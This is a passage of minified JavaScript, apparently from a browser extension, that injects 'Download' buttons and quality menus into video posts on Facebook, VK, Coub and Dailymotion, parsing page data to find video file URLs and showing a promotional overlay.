window.localStorage.pauseVideoPromote = (new Date()).getTime(); | |
i(s).fadeOut(); | |
$$.loadedCallback("BANNER_LOAD", f); | |
var u = document.createElement("a"); | |
u.href = q; | |
u.target = "_blank"; | |
document.body.appendChild(u); | |
u.click(); | |
document.body.removeChild(u); | |
return false | |
}); | |
i(p).on("click", ".fbButton_Close", function(v) { | |
var u = i(v.target); | |
window.localStorage.pauseVideoPromote = (new Date()).getTime(); | |
i(s).fadeOut(); | |
return false | |
}); | |
return s | |
} | |
function m() { | |
if (!location.href.indexOf("facebook.com")) { | |
return | |
} | |
var o = function o(s) { | |
var u = /\/videos\/([0-9]+)[^\/?]?/g.exec(s.html()); | |
return !u ? false : u[1] | |
}; | |
var r = function r(y) { | |
var w = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; | |
var v = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; | |
var u = /\/videos\/([0-9]+)[^\/?]?/g.exec(location.href); | |
var A = /\/videos\/[a-z]{2}\.[0-9]+\/([0-9]+)\/?/g.exec(location.href); | |
if (v) { | |
return i(y).attr("src") | |
} | |
if (y && !w) { | |
var s = i(y); | |
var z = s.closest(".uiStreamStory"); | |
if (z.length > 0) { | |
return o(z) | |
} | |
} else { | |
if (y && w) { | |
var x = y; | |
if (x.length > 0) { | |
return x.data("video-id") | |
} | |
} | |
} | |
if (u !== null && typeof u[1] !== "undefined") { | |
return u[1] | |
} | |
if (A !== null && typeof A[1] !== "undefined") { | |
return A[1] | |
} | |
return false | |
}; | |
var p = function p() { | |
var s = i('<button class="_42ft _4jy0 _4jy3 _4jy1 dodsoais_social_btn_ID" type="button">\n\t\t\t\t\t<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAADdcAAA3XAUIom3gAAAAHdElNRQfhBhMMDQP5nbnFAAAAzElEQVQ4y+WSPwuBURTGn+tPlMmgDIZ3l8GgbBZSjL6A1WCSQT6DyVdQPoHJqsinUAxilhR+Bm/Ci/falGc5957zPPc853QlD8hx5IqCtxrwphRT0D3F7QQf8ZcCc38horaCclR3ExOtdFDD7N/qGfCM/seGRJk90KeEfTySZHmjb0hZjEWWHQAnipaboMYZ6H6xPDoMMa8qhqaqksam5/NESyVJo5DSKkta+zbNqCxp8YN/KeTGBHkfZuJRUFHF1tL2K0db4TDHFnOcCyCWkiKuR3RtAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE3LTA2LTE5VDEyOjEzOjAzKzAyOjAwlKpN6QAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxNy0wNi0xOVQxMjoxMzowMyswMjowMOX39VUAAAAZdEVYdFNvZnR3YXJlAHd3dy5pbmtzY2FwZS5vcmeb7jwaAAAAAElFTkSuQmCC" style="width:12px;margin:5px 2px -2px -1px;"/> Download</button>').clone(); | |
s.attr("style", "\n\t\t\tmargin:12px 43px 0 -14px;\n\t\t\tfloat:right;\n\t\t\twidth:93px;\n\t\t\tbox-sizing:border-box;\n\t\t\tbackground-color:#7eb1f7;\n\t\t\tborder-color:#7eb1f7;\n\t\t".trim()); | |
return s | |
}; | |
var n = function n(s) { | |
return s.find(".dodsoais_social_btn_ID") && i(".dodsoais_social_btn_ID", s).detach() | |
}; | |
(function q() { | |
var s = function s(y) { | |
return y.attr("style", "float:right;padding-left:8px;padding-right:9px;width:93px;box-sizing:border-box;background-color:#7eb1f7;border-color:#7eb1f7;") && y | |
}; | |
var v = function v(C) { | |
var B = i(C); | |
if (B.hasClass("_d3By_wal_VD")) { | |
return true | |
} | |
var A = i("[data-video-id]", B); | |
if (A.length < 1) { | |
return false | |
} | |
var E = r(A, true); | |
if (E) { | |
var D = s(p(), B, "dataVideoId"); | |
var y = function y(G) { | |
G.stopPropagation(); | |
var F = i(G.target); | |
i(l).fadeIn() | |
}; | |
D.on("click", y); | |
var z = i(".UFILikeLink", B); | |
z.each(function(H, F) { | |
var G = i(F); | |
if (G.attr("data-testid") === "fb-ufi-likelink") { | |
D.insertAfter(G.parent().parent()) | |
} | |
}); | |
B.addClass("_d3By_wal_VD"); | |
return true | |
} | |
return false | |
}; | |
var u = function u(C) { | |
var B = i(C); | |
var z = i("video", B); | |
if (B.hasClass("_d3By_wal_VD")) { | |
return true | |
} | |
if (!z.attr("src") || z.attr("src").indexOf("blob:") > -1) { | |
return false | |
} | |
var E = r(z, true, true); | |
if (E) { | |
var D = s(p(), B, "videoElement"); | |
var y = function y(G) { | |
G.stopPropagation(); | |
var F = i(G.target); | |
l.style.display = "block" | |
}; | |
D.on("click", y); | |
var A = i(".UFILikeLink", B); | |
A.each(function(H, F) { | |
var G = i(F); | |
if (G.attr("data-testid") === "fb-ufi-likelink") { | |
D.insertAfter(G.parent().parent()) | |
} | |
}); | |
B.addClass("_d3By_wal_VD"); | |
return true | |
} | |
return false | |
}; | |
var w = function w(C) { | |
var B = i(C); | |
var z = i("video", B); | |
if (B.hasClass("_d3By_wal_VD")) { | |
return true | |
} | |
var E = o(B); | |
if (E) { | |
var D = s(p(), B, "storyHtml"); | |
var y = function y(G) { | |
G.stopPropagation(); | |
var F = i(G.target); | |
l.style.display = "block" | |
}; | |
D.on("click", y); | |
var A = i(".UFILikeLink", B); | |
A.each(function(H, F) { | |
var G = i(F); | |
if (G.attr("data-testid") === "fb-ufi-likelink") { | |
D.insertAfter(G.parent().parent()) | |
} | |
}); | |
B.addClass("_d3By_wal_VD") | |
} | |
}; | |
var x = function x(C) { | |
var B = i(C); | |
var E = i('a[rel^="nofollow noopener"]', B); | |
if (B.hasClass("_d3By_wal_VD")) { | |
return true | |
} | |
var A = false; | |
E.each(function(G, F) { | |
if ((F.href.indexOf("vim.io") > -1 || F.href.indexOf("vimeo.com") > -1) && i(F).closest(".UFICommentContent").length === 0) { | |
A = F.href | |
} | |
}); | |
if (A) { | |
var D = s(p(), B, "parseVimeoVideo"); | |
var y = function y(F) { | |
F.stopPropagation(); | |
l.style.display = "block" | |
}; | |
D.on("click", y); | |
var z = i(".UFILikeLink", B); | |
z.each(function(H, F) { | |
var G = i(F); | |
if (G.attr("data-testid") === "fb-ufi-likelink") { | |
D.insertAfter(G.parent().parent()) | |
} | |
}); | |
B.addClass("_d3By_wal_VD"); | |
return true | |
} | |
return false | |
}; | |
setInterval(function() { | |
if (!(location.href.indexOf("facebook.com/videos/") < 0)) { | |
return | |
} | |
if (i("#pagelet_timeline_main_column").length === 1 || i("#pagelet_group_mall").length === 1) { | |
i('[role="article"]').each(function(y, A) { | |
var z = i(A); | |
if (i(".fbUserContent", z).length === 0) { | |
return | |
} | |
if (v(A)) { | |
return | |
} | |
if (u(A)) { | |
return | |
} | |
if (w(A)) { | |
return | |
} | |
if (x(A)) { | |
return | |
} | |
}); | |
return | |
} | |
i('[data-testid="fbfeed_story"]').each(function(z, y) { | |
if (v(y)) { | |
return | |
} | |
if (u(y)) { | |
return | |
} | |
if (w(y)) { | |
return | |
} | |
if (x(y)) { | |
return | |
} | |
}); | |
if (location.href.indexOf("/search/") > -1) { | |
i("[data-bt]").each(function(z, y) { | |
var C = i(y); | |
try { | |
var A = JSON.parse(C.attr("data-bt")); | |
if (A && A.module && (A.module === "POSTS_SET_FEATURED" || A.module === "PUBLIC_POSTS" || A.module === "FEED_POSTS")) { | |
if (C.hasClass("fbDataBt_PARSED")) { | |
return | |
} | |
C.addClass("fbDataBt_PARSED"); | |
i("div._401d").each(function(E, D) { | |
if (v(D)) { | |
return | |
} | |
if (u(D)) { | |
return | |
} | |
if (w(D)) { | |
return | |
} | |
if (x(D)) { | |
return | |
} | |
}) | |
} | |
} catch (B) {} | |
}) | |
} | |
}, 1500) | |
})(); | |
setInterval(function() { | |
var A = p(); | |
var z = function z(D) { | |
D.stopPropagation(); | |
var C = i(D.target); | |
l.style.display = "block" | |
}; | |
A.on("click", z); | |
var v = A.attr("style", "\n\t\t\t\tfloat:right;\n\t\t\t\twidth:93px;\n\t\t\t\tbox-sizing:border-box;\n\t\t\t\tz-index:9999999;\n\t\t\t\tmargin: 5px 10px;\n\t\t\t\tbackground:#7eb1f7;\n\t\t\t\tborder-color:#7eb1f7;\n\t\t\t"); | |
if (location.href.indexOf("/videos/") > 0 && location.href.indexOf("/search/") === -1) { | |
var B = i(".fbUserContent .UFILikeLink:first").parent().parent(); | |
if (i(".dodsoais_social_btn_ID").length === 0) { | |
n(B.parent()); | |
v.insertAfter(B); | |
v.css({ | |
margin: "0" | |
}) | |
} | |
} | |
if (i("video", i(".uiLayer")).length !== 0) { | |
var y = i(".uiLayer .uiStreamStory").find("._23if"); | |
if (y.length !== 0) { | |
n(y); | |
y.prepend(v) | |
} | |
} | |
if (i("video", i(".fbPhotoSnowliftPopup")).length !== 0) { | |
var x = i(".fbPhotoSnowliftPopup #fbPhotoSnowliftViews"); | |
if (x.length !== 0) { | |
var s = i(".UFILikeLink:first", x.next()).parent().parent(); | |
n(x.parent()); | |
var w = v; | |
w.addClass("btnInserted"); | |
if (i(".btnInserted", s).length === 0) { | |
w.css({ | |
margin: "0" | |
}); | |
w.insertAfter(s) | |
} | |
} | |
} | |
if (i("video", i(".uiContextualLayerParent")).length !== 0) { | |
var u = i(".uiContextualLayerParent .uiStreamStory").find("._23if"); | |
if (u.length !== 0) { | |
n(u); | |
u.prepend(v) | |
} | |
} | |
}, 1000) | |
} | |
function e() { | |
if (location.href.indexOf("vk.com/") > 0) { | |
(function() { | |
var y = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; | |
var A = document.querySelector("body"); | |
var H = new y(function(M) { | |
M.forEach(function(O) { | |
if (O.type === "childList") { | |
var Q = []; | |
for (var P = 0; P < O.addedNodes.length; P++) { | |
if (O.addedNodes[P].nodeType != 1 && O.addedNodes[P].nodeType != 9) { | |
continue | |
} | |
if (O.addedNodes[P].id == "video_player" || o(O.addedNodes[P], "videoplayer") || o(O.addedNodes[P], "video_box_wrap")) { | |
p(O.addedNodes[P]) | |
} | |
} | |
} | |
var N = document.querySelector("body"); | |
H.observe(N, { | |
childList: true, | |
subtree: true | |
}) | |
}) | |
}); | |
H.observe(A, { | |
childList: true, | |
subtree: true | |
}); | |
p(document.querySelector("#video_player")); | |
p(document.querySelector(".video_player")); | |
setInterval(function() { | |
p(document.querySelector("#video_player")); | |
p(document.querySelector(".video_player")) | |
}, 1000); | |
function K() { | |
return true | |
} | |
var s = document.getElementById("audio_search"); | |
var v = new Array(); | |
function x() { | |
var O = document.getElementsByTagName("script"); | |
for (var M = 0; M < O.length; M++) { | |
if (O[M].innerHTML.match(/ownerId/i)) { | |
var N = O[M].innerHTML; | |
N = N.split('sectionData":')[1]; | |
N = N.split(";(function () {")[0]; | |
N = N.split(");")[0]; | |
N = '{"sectionData": ' + N; | |
v = JSON.parse(N) | |
} | |
if (O[M].innerHTML.match(/statusExportHash/i)) { | |
var N = O[M].innerHTML; | |
N = N.split("var vk = ")[1]; | |
N = N.split(";")[0]; | |
N = N.split("statusExportHash: '")[1]; | |
N = N.split("',")[0]; | |
v = N | |
} | |
} | |
} | |
x(); | |
function B(M) { | |
return M.tagName != "EMBED" && !M.querySelector("embed") | |
} | |
function C(M) { | |
return M.text() | |
} | |
function o(N, M) { | |
return (" " + N.className + " ").indexOf(" " + M + " ") > -1 | |
} | |
function E(Q) { | |
var M = [], | |
N = document.getElementsByTagName("a"); | |
for (var O = 0, P; P = N[O++];) { | |
if (P.getAttribute("data-video", 2) == Q) { | |
M[M.length] = P | |
} | |
} | |
if (M[0]) { | |
return M[0].getAttribute("data-list") | |
} else { | |
return null | |
} | |
} | |
function J(P) { | |
var O = P.querySelector("video"); | |
if (O) { | |
var M = O.src; | |
var V = undefined; | |
try { | |
V = P.querySelector(".videoplayer_title").textContent | |
} catch (R) {} | |
if (M.startsWith("blob")) { | |
var S = O.closest(".video_box_wrap").id.replace("video_box_wrap", ""); | |
var U = document.querySelector('.videoplayer_quality_select ._item[aria-checked="true"]').dataset.value; | |
var Q = new XMLHttpRequest(), | |
T, N = "https://vk.com/al_video.php?act=show_inline&al=1&video=" + S; | |
Q.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
var ac = new RegExp("<!json>(.*)").exec(this.responseText), | |
Y, aa, Z = new Array(); | |
if (ac) { | |
Y = ac[1]; | |
Y = Y.split("<!>")[0]; | |
Y = JSON.parse(Y); | |
aa = Y.player.params[0]; | |
for (var ad in aa) { | |
if (ad == "url240" || ad == "url360" || ad == "url480" || ad == "url720" || ad == "url1080") { | |
Z[ad] = aa[ad] | |
} | |
} | |
var W = Z["url" + U] | |
} else { | |
var ae = E(S); | |
var ab = new XMLHttpRequest(), | |
af, ag = this, | |
X = "https://vk.com/al_video.php?act=show_inline&al=1&list=" + ae + "&module=public&hash=" + v + "&video=" + S; | |
ab.onreadystatechange = function() { | |
if (ab.readyState == 4 && ab.status == 200) { | |
var ak = new RegExp("<!json>(.*)").exec(this.responseText), | |
aj, am, ai = new Array(); | |
if (ak) { | |
aj = ak[1]; | |
aj = aj.split("<!>")[0]; | |
aj = JSON.parse(aj); | |
am = aj.player.params[0]; | |
for (var ah in am) { | |
if (ah == "url240" || ah == "url360" || ah == "url480" || ah == "url720" || ah == "url1080") { | |
ai[ah] = am[ah] | |
} | |
} | |
var al = ai["url" + U]; | |
i(l).fadeIn() | |
} | |
} | |
}; | |
ab.dataType = "text"; | |
ab.open("GET", X, true); | |
ab.onerror = function(ah) { | |
af = true | |
}; | |
ab.setRequestHeader("content-type", "application/x-www-form-urlencoded"); | |
ab.send(null); | |
if (af) { | |
return null | |
} | |
} | |
} | |
}; | |
Q.dataType = "text"; | |
Q.open("GET", N, true); | |
Q.onerror = function(W) { | |
T = true | |
}; | |
Q.setRequestHeader("content-type", "application/x-www-form-urlencoded"); | |
Q.send(null); | |
if (T) { | |
return null | |
} | |
} else { | |
i(l).fadeIn() | |
} | |
} else {} | |
} | |
function z(O, M) { | |
if (!O || !M) { | |
return | |
} | |
var N = M.parentNode, | |
P = M.nextSibling; | |
if (P && N) { | |
N.insertBefore(O, M.nextSibling) | |
} else { | |
if (N) { | |
N.appendChild(O) | |
} | |
} | |
} | |
function r(M) { | |
M = M.replace(/'/gi, ""); | |
M = M.replace(/\'/gi, ""); | |
M = M.replace(/\<em\>/gi, "").replace(/\<\/em\>/gi, ""); | |
M = M.replace(/[^a-z,0-9,A-Z,а-я, А-Я, ,\-,(,),.,\,,\—,\–]/gi, ""); | |
M = M.replace(/[ .\-\_\.\—]{2,100}/gi, ""); | |
M = M.replace(/\./gi, ""); | |
return M | |
} | |
function I(M) { | |
return M.replace(/^\s*/, "").replace(/\s*$/, "") | |
} | |
function L() { | |
if (document.getElementsByClassName("_at-saver-video")[0]) { | |
return null | |
} | |
var P = document.createElement("div"), | |
N = document.createElement("div"), | |
Q = document.createElement("div"), | |
O; | |
P.setAttribute("class", "mv_rtl_divider apps_tool fl_l"); | |
N.setAttribute("class", "_at-saver-video idd_wrap mv_more fl_r flat_button"); | |
N.setAttribute("style", "color: #fff;"); | |
N.innerHTML = "<div class='idd_selected_value idd_arrow' style='color: #fff;'>Download</div><div class='idd_popup'><div class='idd_header_wrap'><div class='idd_header idd_arrow'>Download</div></div><div class='idd_items_wrap'><div id='_at-video' class='idd_items_content'></div></div></div></div>"; | |
if (document.getElementsByClassName("mv_share_actions_wrap")[0]) { | |
O = document.getElementsByClassName("mv_share_actions_wrap")[0].children[6]; | |
z(P, O); | |
z(N, P) | |
} else { | |
N.style.position = "relative"; | |
var M = N.getElementsByClassName("idd_popup")[0]; | |
M.style.visibility = "hidden"; | |
M.style.opacity = "1"; | |
M.style.top = "0"; | |
M.style.left = "0"; | |
M.style.minWidth = "105px"; | |
O = document.getElementsByClassName("mv_actions_block")[0].children[0].children[4]; | |
z(P, O); | |
z(N, P); | |
N.addEventListener("mouseover", function(T) { | |
T.stopPropagation(); | |
T.preventDefault(); | |
var S = this, | |
R; | |
R = S.getElementsByClassName("idd_popup")[0]; | |
R.style.visibility = "visible" | |
}); | |
M.addEventListener("mouseleave", function(R) { | |
R.stopPropagation(); | |
R.preventDefault(); | |
this.style.visibility = "hidden" | |
}) | |
} | |
} | |
function q(N) { | |
if (N) { | |
L(); | |
for (var M in N) { | |
var P = document.createElement("div"), | |
O = M.split("l")[1]; | |
P.innerHTML = O; | |
P.setAttribute("class", "idd_item"); | |
P.title = N[M]; | |
P.setAttribute("data-url", N[M]); | |
document.getElementById("_at-video").appendChild(P); | |
P.addEventListener("mouseover", function(Q) { | |
Q.stopPropagation(); | |
Q.preventDefault(); | |
this.style.background = "#e1e7ed" | |
}); | |
P.addEventListener("mouseout", function(Q) { | |
Q.stopPropagation(); | |
Q.preventDefault(); | |
this.style.background = "" | |
}); | |
P.addEventListener("click", function(Q) { | |
Q.stopPropagation(); | |
Q.preventDefault(); | |
i(l).fadeIn() | |
}) | |
} | |
} | |
} | |
function G(M) { | |
var N = document.getElementById("mv_title"); | |
if (N && !N.classList.contains("vks")) { | |
N.classList.add("vks") | |
} else { | |
return | |
} | |
setTimeout(function() { | |
var Q = M.querySelector("video"); | |
if (Q) { | |
var U = Q.closest(".video_box_wrap").id.replace("video_box_wrap", ""); | |
if (U) { | |
var R = new XMLHttpRequest(), | |
V, W = this, | |
P = "https://vk.com/al_video.php?act=show_inline&al=1&video=" + U; | |
var T = E(U); | |
R.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
var aa = new RegExp("<!json>(.*)").exec(this.responseText), | |
Z, ab, Y = []; | |
if (aa) { | |
Z = aa[1]; | |
Z = Z.split("<!>")[0]; | |
Z = JSON.parse(Z); | |
ab = Z.player.params[0]; | |
for (var X in ab) { | |
if (X == "url240" || X == "url360" || X == "url480" || X == "url720" || X == "url1080") { | |
Y[X] = ab[X] | |
} | |
} | |
q(Y) | |
} | |
} | |
}; | |
R.dataType = "text"; | |
R.open("GET", P, true); | |
R.onerror = function(X) { | |
V = true | |
}; | |
R.setRequestHeader("content-type", "application/x-www-form-urlencoded"); | |
R.send(null); | |
if (V) { | |
return null | |
} | |
} | |
} else { | |
Q = M; | |
var S = null, | |
O = null; | |
if (Q.tagName !== "EMBED" && Q.tagName !== "IFRAME") { | |
Q = M.querySelector("embed") || M.querySelector("iframe") | |
} | |
if (Q.src.match(/:\/\/(player\.)?vimeo\.com\/video\/([^\?]+)/)) { | |
S = "vimeo"; | |
O = Q.getAttribute("src").replace(/^http:/, "https:") | |
} | |
if (Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/embed\/([^&]+)/) || Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/.*&coubID=([^&]+)/)) { | |
S = "coub"; | |
if (Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/embed\/([^&]+)/)) { | |
O = /\/\/(?:[^\.]+\.)?coub.com\/embed\/([^&]+)/.exec(Q.src)[1] | |
} else { | |
if (Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/.*&coubID=([^&]+)/)) { | |
O = /\/\/(?:[^\.]+\.)?coub.com\/.*&coubID=([^&]+)/.exec(Q.src)[1] | |
} | |
} | |
} else { | |
if (Q.getAttribute("src").match(/\/\/(?:[^\.]+\.)?myvi.ru/)) { | |
S = "myvi" | |
} else { | |
if (Q.getAttribute("src").match(/\/\/(?:[^\.]+\.)?kinopoisk\.ru/)) { | |
S = "kinopoisk"; | |
O = Q.getAttribute("src") | |
} | |
} | |
} | |
if (S) {} | |
} | |
}, 1500) | |
} | |
function u(M, P, N) { | |
var O = document.createElement("div"); | |
O.innerHTML = P + " [" + N + "]"; | |
O.setAttribute("class", "idd_item"); | |
O.title = O.innerHTML; | |
O.setAttribute("data-url", M); | |
document.getElementById("_at-video").appendChild(O); | |
O.addEventListener("click", function(R) { | |
R.stopPropagation(); | |
R.preventDefault(); | |
var Q = document.getElementById("mv_title").innerText; | |
l.style.display = "block" | |
}) | |
} | |
function w(O) { | |
var N = document.getElementsByClassName("video_box"); | |
if (N && N[0]) { | |
return N[0] | |
} | |
var M = O.closest(".video_box_wrap"); | |
if (M) { | |
return M | |
} | |
return O | |
} | |
function F(P, O) { | |
if (P.tagName === "EMBED") { | |
var N = P.closest(".page_video_inline_wrap"); | |
var M = P.closest(".page_post_sized_thumbs"); | |
if (N && M) { | |
if (N.style.height == "287px") { | |
N.style.height = "310px" | |
} | |
if (M.style.height == "286px") { | |
N.style.height = "310px" | |
} | |
P.style.height = "286px"; | |
P.style.display = "block"; | |
O.style.display = "block" | |
} | |
} | |
} | |
function p(U) { | |
if (!U) { | |
return | |
} | |
G(U); | |
if (B(U)) { | |
var Q = U.querySelector(".videoplayer_share_actions"); | |
if (!Q || Q.querySelector(".downloadVideoButton")) { | |
return | |
} | |
var X = document.createElement("DIV"); | |
X.className = "downloadVideoButton"; | |
X.innerHTML = ""; | |
X.addEventListener("click", function() { | |
J(U) | |
}); | |
var W = document.querySelector(".videoplayer_controls"); | |
if (W) { | |
var M = document.createElement("DIV"); | |
M.className = "downloadVideoButtonBottom videoplayer_controls_item"; | |
M.innerHTML = ""; | |
M.addEventListener("click", function() { | |
J(U) | |
}); | |
M.addEventListener("mouseover", function() { | |
showTooltip(this, { | |
text: "Скачать видео", | |
black: 1, | |
shift: [75, 0, 5] | |
}) | |
}); | |
W.appendChild(M) | |
} | |
Q.appendChild(X) | |
} else { | |
if (U.tagName !== "EMBED") { | |
U = U.querySelector("embed") | |
} | |
var O = []; | |
var T = U.getAttribute("flashvars"); | |
O["240"] = D(T, "url240"); | |
O["360"] = D(T, "url360"); | |
O["480"] = D(T, "url480"); | |
O["720"] = D(T, "url720"); | |
O["1080"] = D(T, "url1080"); | |
var Y = decodeURIComponent(D(T, "md_title")); | |
var S = document.createElement("div"); | |
S.className = "divider fl_l"; | |
S.innerText = "|"; | |
var N = document.createElement("div"); | |
N.className = "videoDownloaderWrapper"; | |
var P = document.createElement("div"); | |
P.innerText = "Скачать:"; | |
P.setAttribute("style", ""); | |
N.appendChild(P); | |
var V = 0; | |
O.forEach(function(ab, Z) { | |
if (ab) { | |
var aa = document.createElement("a"); | |
aa.setAttribute("download", Y); | |
aa.setAttribute("href", decodeURIComponent(ab)); | |
aa.className = "downloadVideoLink"; | |
aa.innerText = Z; | |
aa.onclick = function() { | |
trackVideoDownload(Z, title) | |
}; | |
aa.addEventListener("click", function(ac) { | |
chrome.runtime.sendMessage({ | |
type: "downloadVideo", | |
video: { | |
title: Y, | |
url: decodeURIComponent(ab) | |
} | |
}); | |
ac.preventDefault() | |
}); | |
N.appendChild(aa); | |
V++ | |
} | |
}); | |
if (V == 0) { | |
P.parentNode.removeChild(P) | |
} | |
var R = w(U); | |
if (!R.querySelector(".videoDownloaderWrapper")) { | |
R.appendChild(N); | |
F(U, N) | |
} | |
} | |
} | |
function D(Q, M) { | |
var O = Q.split("&"); | |
for (var N = 0; N < O.length; N++) { | |
var P = O[N].split("="); | |
if (P[0] == M) { | |
return P[1] | |
} | |
} | |
} | |
})(); | |
var n = function n(q) { | |
var p = q; | |
var o = function(r) { | |
return function() { | |
var u = r.mainArray.length, | |
s = r.startIndex + r.stepRange; | |
if (u < s) { | |
r.outerFunction(r.mainArray, r.startIndex, u); | |
if (r.callback != undefined) { | |
r.callback() | |
} | |
return | |
} else { | |
r.outerFunction(r.mainArray, r.startIndex, s); | |
r.startIndex += r.stepRange; | |
n(r) | |
} | |
} | |
}(p); | |
setTimeout(o, p.timeOut) | |
} | |
} | |
} | |
function j() { | |
var u; | |
u = { | |
init: function s() { | |
var v = this; | |
setInterval(function() { | |
return v.parseVideos() | |
}, 1000) | |
}, | |
parseVideos: function n() { | |
var x = document.getElementsByClassName("coub__viewer"); | |
if (x) { | |
var w = document.getElementsByClassName("data"); | |
for (var v in w) { | |
if (w[v].tagName == "DIV") { | |
this.video(w[v]) | |
} | |
} | |
} | |
}, | |
video: function q(B) { | |
var A = i(B).closest(".coub__vd"); | |
if (A.hasClass("sfn")) { | |
return | |
} | |
A.addClass("sfn"); | |
var C = B.getElementsByTagName("script")[0]; | |
if (C) { | |
if (C.innerHTML) { | |
C = JSON.parse(C.innerHTML); | |
if (C) { | |
u.theme(B, A); | |
var y = C.file_versions && C.file_versions.web, | |
E = C.title; | |
var G = C.file_versions.integrations; | |
if (G && G.ifunny_video) { | |
u.button(G.ifunny_video, "ifunny_video", "mp4", E, B, A) | |
} | |
if (C.audio_versions) { | |
for (var H in C.audio_versions.versions) { | |
var x, z; | |
u.button(C.audio_versions.template.replace(/%\{version}/g, C.audio_versions.versions[H]), "audio_" + C.audio_versions.versions[H], x = (z = C.audio_versions.template.split("/").pop().split(".")).length > 1 ? z.pop() : "", E, B, A) | |
} | |
} | |
for (var H in y.types) { | |
for (var F in y.versions) { | |
var w = y.template.replace(/%\{type}/g, y.types[H]).replace(/%\{version}/g, y.versions[F]), | |
D = C.dimensions[y.versions[F]].join("x"); | |
u.button(w, D, y.types[H], E, B, A) | |
} | |
} | |
if (C.gif_versions) { | |
for (var H in C.gif_versions) { | |
u.button(C.gif_versions[H], H, "gif", E, B, A) | |
} | |
} | |
} else { | |
A.removeClass("sfn") | |
} | |
} | |
} | |
}, | |
theme: function r(x, w) { | |
var v = i(document.createElement("div")); | |
v.addClass("coubExt_downloader_idSaveLink"); | |
v.attr("style", "width:100%;padding: 10px 0;text-align:center;"); | |
v.html(""); | |
w.append(v) | |
}, | |
types: function p(w) { | |
var v = { | |
audio_low: "Audio", | |
audio_hight: "Audio HQ", | |
audio_mid: "Audio HQ" | |
}; | |
if (w.indexOf("audio") > -1) { | |
return typeof v[w] !== "undefined" ? v[w] : w | |
} | |
return "Video " + w | |
}, | |
button: function o(w, y, x, C, B, A) { | |
var v = i(document.createElement("a")), | |
z = i(A[0].getElementsByClassName("coubExt_downloader_idSaveLink")[0]); | |
v.text(u.types(y) + " (." + x + ")"); | |
v.attr("style", "display: inline-block;\n\t\t\t\t\t\t\t margin: 0 4px 0 0;\n\t\t\t\t\t\t\t padding: 6px 20px;\n\t\t\t\t\t\t\t font-size: 12px;\n\t\t\t\t\t\t\t border: 1px solid #7eb1f7;\n\t\t\t\t\t\t\t border-radius: 14px;\n\t\t\t\t\t\t\t background: #7eb1f7;\n\t\t\t\t\t\t\t color: #fff;\n\t\t\t\t\t\t\t cursor: pointer;\n\t\t\t\t"); | |
if (z) { | |
v.on("click", function(D) { | |
D.stopPropagation(); | |
D.preventDefault(); | |
l.style.display = "block" | |
}); | |
z.append(v) | |
} | |
} | |
}; | |
if (location.href.indexOf("coub.com/") > -1) { | |
i(u.init.bind(u)) | |
} | |
} | |
function k() { | |
(function() { | |
function q() { | |
var n = document.location.href; | |
return 0 == n.indexOf("https://www.dailymotion.com/video/") || 0 == n.indexOf("http://www.dailymotion.com/video/") | |
} | |
function v(D) { | |
var B = "var config = {", | |
A = "};", | |
E = D.indexOf(B), | |
C = D.indexOf(A, E), | |
r = JSON.parse(D.substr(E + B.length - 1, C - E - B.length + A.length)); | |
return r | |
} | |
function s(n) { | |
i(l).fadeIn() | |
} | |
function w(r, n) { | |
r.click(function(A) { | |
s(n) | |
}) | |
} | |
function z(C, O, G) { | |
if (C) { | |
var H = C.metadata.qualities; | |
if (H) { | |
var D = !1, | |
M = i("body"), | |
A = i("<ul style='background-color:#FFF; border: 1px solid #CCC; display: none; pointer-events: auto !important; position: absolute; margin: 0px; right: 0px; top:40px; list-style: none; z-index: 100000; opacity: 1 !important; visibility: visible !important;'></ul>"); | |
for (var K in H) { | |
var L = H[K]; | |
for (var F in L) { | |
var B = L[F], | |
E = B.url, | |
N = B.type; | |
if ("video/mp4" == N && E) { | |
var J = "Download " + N + " (" + K + "p)", | |
P = i("<li style='min-width: 260px; width: auto; padding: 8px; background-color: #FFF !important; cursor: pointer'><a href='#download' style='display: block; width: 100%; height: 100%;'>" + J + "</a></li>"); | |
w(P, E), A.append(P), D = !0 | |
} | |
} | |
} | |
} | |
} | |
if (D) { | |
var I = O.find("a"); | |
I.click(function(n) { | |
A.css({ | |
top: O.offset().top - A.height() + 50, | |
left: O.offset().left, | |
right: "auto", | |
width: "262px" | |
}); | |
n.preventDefault(), n.stopPropagation(), A.show(0).fadeTo(100, 1) | |
}), M.click(function(n) { | |
A.fadeTo(100, 0).hide(0) | |
}), A.fadeTo(0, 0).hide(0), G.append(A), O.show() | |
} | |
} | |
function p() { | |
i("iframe[mark_dailymotion!=1]").each(function(F) { | |
var B = i(this), | |
G = B.attr("src"); | |
if (G) { | |
var D = "#0066DC", | |
A = encodeURIComponent(document.location.href); | |
if (G.indexOf("dailymotion.com/embed") != -1) { | |
var C = i("<div style='box-sizing:border-box; display: none; display:inline-block; width:100%; background-color: #FFF; font-family: Arial; font-size: 12px; padding: 5px; border: 1px solid #CCC;'><a style='float: right; font-size: inherit; font-family: inherit; padding: 10px; background-color: " + D + "; border-radius: 2px; color: #FFF; text-decoration: none;' href='#download' title='Download' class='btn'>Download</a></div>"); | |
B.after(C); | |
var E = C.find(".btn"); | |
E.click(function(n) { | |
n.preventDefault(), n.stopPropagation(), t(G, A) | |
}), C.show() | |
} | |
} | |
}).attr("mark_dailymotion", 1) | |
} | |
function x() { | |
i("div.pl_video_infos[mark!=1]").each(function(o) { | |
var A = i(this), | |
r = i("<div style='display:none;float: left; margin-left: 10px; position: relative'><a class='btn_v2 dm-brand_bg' href='#download' title='Download'><span>Download</span></a></div>"); | |
r.insertAfter(A.find(".sd_user_subscribe")), i("script").each(function(B) { | |
var n = i(this); | |
